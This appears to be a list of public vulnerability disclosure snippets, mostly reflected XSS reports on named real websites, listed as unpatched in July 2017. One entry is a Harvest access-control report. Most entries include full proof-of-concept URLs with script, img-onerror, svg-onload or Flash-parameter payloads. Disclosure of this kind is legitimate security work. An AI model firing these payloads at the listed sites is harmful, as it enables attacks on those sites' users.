retrogames.cz XSS vulnerability

Vulnerable URL: http://www.retrogames.cz/vyhledat.php?search=%3Cscript%3Ealert%28%27openbugbounty%27%29%3B%3C%2Fscript%3E&vyhledat.x;=18&vyhledat.y;=11 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

american-hospital.org XSS vulnerability

Vulnerable URL: https://www.american-hospital.org/fr/nos-medecins-professionnels-de-sante/trouver-un-medecin-ou-un-professionnel-de-sante.html Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

acechascomus.com.ar XSS vulnerability

Vulnerable URL: http://www.acechascomus.com.ar/seccion.php?m=hoteles Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 19047444 VIP website status:| No Check acechascomus.com.ar SSL...

afar.fr XSS vulnerability

Vulnerable URL: http://www.afar.fr/recherche.html?searchform=1=%3Cimg+src%3Dx+onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E=Ok Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1415704...

arcancil.com XSS vulnerability

Vulnerable URL: http://www.arcancil.com/fr/recherche?orderby=position=descquery=%3Cimg+src%3Dx+onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3Esearch=OK Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

alibabuy.com XSS vulnerability

Vulnerable URL: http://www.alibabuy.com/recherche-voiture.html?m4iddest=10185&m4;typedest=4=1&m4;dest=Paris,+France&m4;date1=22/09/2016%27;alert%22OPENBUGBOUNTY%22;%27&m4;heure1=10&m4;date2=29/09/2016&m4;heure2=10 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.201...

niv.ru XSS vulnerability

Vulnerable URL: http://www.niv.ru/mail/feedback.pl Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 154283 VIP website status:| No Check niv.ru SSL connection:| Grade: F Coordinated...

whirlpool.sk XSS vulnerability

Vulnerable URL: http://www.whirlpool.sk/vyhledavani/?q=%22%3E%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%2FXSSPOSED%2F%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 784032 V...

Harvest: Project Manager can approve pending reports(Access control Issue)

Hi Team, Description : Project manager can't access the Pending approval section of Timesheet. So he should not be able to approve any reports of any user. But the approve report is working for project manager and he is able to approve reports of any user. Vulnerable HTTP request : POST...

contactallover.com XSS vulnerability

Vulnerable URL: http://www.contactallover.com/home/admin/index.php?page=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown /...

leighobserver.co.uk XSS vulnerability

Vulnerable URL: http://www.leighobserver.co.uk/search?query=lol%20hi=%22-alert%28%22XSSPOSED%22%29-%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3946770 VIP website status:| N...

netzonesolutions.com XSS vulnerability

Vulnerable URL: http://www.netzonesolutions.com/support/swift/thirdparty/FusionCharts/Charts/ScrollLine2D.swf?%domid=%22%29%29catch%28e%29;alert%28%27OPENBUGBOUNTY%27%29//=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability...

home.passle.net XSS vulnerability

Vulnerable URL: https://home.passle.net/mainsite/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alert%60OPENBUGBOUNTY%60 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alex...

avitop.com XSS vulnerability

Vulnerable URL: http://www.avitop.com/cs/forums/permalink/14606/2975/ShowThread.aspx?%27-prompt%28%27OPENBUGBOUNTY%27%29-%27 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 976087 V...

onlineinseconds.com XSS vulnerability

Vulnerable URL: http://onlineinseconds.com/dramoswilson/wp-content/plugins/canvakala/js/mediaelement/flashmediaelement.swf?jsinitfu%xnction=alertOPENBUGBOUNTY Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:|...

revolverealty.com XSS vulnerability

Vulnerable URL: http://www.revolverealty.com/wp-content/themes/bsomogipending.com/js/mediaelement/build/flashmediaelement.swf?jsinitfu%xnction=alertOPENBUGBOUNTY Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:|...

epoxiformas.com.ar XSS vulnerability

Vulnerable URL: http://www.epoxiformas.com.ar/about.php?lang=en" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 10987276 VIP website status:| No Check epoxiformas.com.ar SSL...

ak-it.biz XSS vulnerability

Vulnerable URL: http://www.ak-it.biz/index.php?lang=en"=home Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check ak-it.biz SSL...

computerjazz.net XSS vulnerability

Vulnerable URL: https://www.computerjazz.net/myaccount/whois.php?domain="autofocus/onfocus=alert/OPENBUGBOUNTY/+b="=com== Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 11363574 VI...

byteswap.com XSS vulnerability

Vulnerable URL: https://www.byteswap.com/whois.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check byteswap.com SSL connection...